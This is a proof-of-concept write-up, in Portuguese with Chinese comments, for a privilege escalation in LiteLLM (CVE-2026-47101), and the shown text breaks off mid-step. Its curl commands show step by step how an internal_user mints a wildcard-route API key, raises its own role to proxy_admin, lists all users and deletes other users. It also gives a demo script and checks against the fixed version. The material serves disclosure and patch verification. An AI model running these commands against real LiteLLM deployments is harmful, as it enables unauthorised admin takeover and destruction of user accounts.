CVE-2026-47101 — Escalação de Privilégio no LiteLLM via /key/generate + /user/update

O endpoint /key/generate do LiteLLM v1.82.6 (versões anteriores à v1.83.14) permite que um internal_user de baixo privilégio solicite uma chave de API com rota curinga ["/*"], e posteriormente, através do endpoint /user/update, eleve seu próprio papel para proxy_admin, resultando em escalação de privilégio não autorizada.

Campo	Valor
CVE	CVE-2026-47101
CVSS v3.1	8.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-863 (Autorização Incorreta)
Afetado	LiteLLM < 1.83.14 (confirmado na v1.82.6)
Corrigido em	v1.83.14+ (nova validação de papel para allowed_routes)
Publicado	2026-05-21
Descoberto por	Fenix Qiao (13ph03nix) — Obsidian Security
Links	NVD

---

Descrição

Os endpoints /key/generate (para gerar chaves de API) e /user/update (para atualizar atributos de usuário) do LiteLLM apresentam três falhas consecutivas de autorização que podem ser encadeadas por um usuário de baixo privilégio:

1. /key/generate não valida allowed_routes — qualquer papel (incluindo internal_user) pode solicitar a rota curinga ["/*"]
2. A verificação de rota recai para correspondência curinga de allowed_routes — a chave curinga gerada pode acessar todos os endpoints administrativos
3. /user/update permite auto-modificação do campo user_role — usando a chave curinga, o usuário pode elevar seu próprio papel para proxy_admin

Cadeia de ataque

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

---

Prova de Conceito

Preparação do ambiente

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

Confirmar que o serviço está em execução

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

A saída esperada deve conter logs de inicialização bem-sucedida, como Uvicorn running on http://0.0.0.0:4000.

Passo 1: Criar uma conta internal_user

Usando a chave mestra, crie uma conta internal_user de baixo privilégio:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Saída esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Anote o user_id e a key retornados — serão necessários nas etapas seguintes.

Passo 2: Gerar uma chave de API com rota curinga

Como internal_user, chame /key/generate solicitando uma chave com rota curinga ["/*"]:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Saída esperada:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Ponto de vulnerabilidade: o internal_user gerou com sucesso uma chave de API com a rota curinga ["/*"]! Essa chave pode acessar todos os endpoints administrativos, incluindo /user/update, /user/list, etc.

Passo 3: Elevar o privilégio para proxy_admin

Use a chave curinga para chamar /user/update e elevar o papel do usuário para proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Saída esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Ponto de vulnerabilidade: user_role foi alterado de internal_user para proxy_admin! O endpoint /user/update permite que o usuário modifique seu próprio campo user_role sem qualquer restrição de permissão.

Passo 4: Verificar o acesso administrativo

Verifique a elevação de privilégio através do endpoint /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Saída esperada:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

O endpoint /user/list só permite acesso ao papel proxy_admin. Obter a lista de usuários confirma que a elevação de privilégio está em vigor.

Passo 5: Extensão — Excluir um usuário administrador

Utilizando o privilégio proxy_admin obtido, é possível excluir qualquer usuário via /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Saída esperada:

1

---

Reprodução com um comando

As etapas acima foram integradas no script demo.sh, que pode ser executado diretamente:

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

---

Verificação da versão corrigida

Inicie a versão corrigida (v1.83.14-stable) para verificar que a vulnerabilidade foi corrigida:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

Crie um internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Tente gerar uma chave com rota curinga (esperado: bloqueio):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Saída esperada (versão corrigida bloqueia a solicitação não autorizada):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparação entre as versões vulnerável e corrigida:

Cenário de teste	Versão vulnerável (v1.82.6)	Versão corrigida (v1.83.14)
internal_user solicita ["/*"]	✅ Chave curinga gerada com sucesso	❌ Bloqueada (HTTP 403)
Chave curinga modifica user_role	✅ Elevado para proxy_admin com sucesso	❌ Bloqueado
Chave curinga acessa /user/list	✅ Lista de usuários obtida com sucesso	❌ Bloqueado

---

Endpoints Vulneráveis

POST /key/generate

Gera uma nova chave de API. O parâmetro allowed_routes é usado para restringir a lista de rotas que a chave pode acessar.

Campo	Tipo	Obrigatório	Descrição
allowed_routes	array	Não	Lista de rotas permitidas, ex. ["/*"] significa todas as rotas

POST /user/update

Atualiza atributos de usuário, incluindo o campo user_role.

Campo	Tipo	Obrigatório	Descrição
user_id	string	Sim	ID do usuário a ser atualizado
user_role	string	Sim	Novo papel (ex. proxy_admin)

---

Técnica de Exploração

Passo 1: Gerar uma chave de API com rota curinga

Como internal_user, chame /key/generate solicitando uma chave com ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

A resposta contém uma nova chave de API com permissão de rota curinga.

Passo 2: Elevar o papel para proxy_admin

Use a chave curinga para chamar /user/update: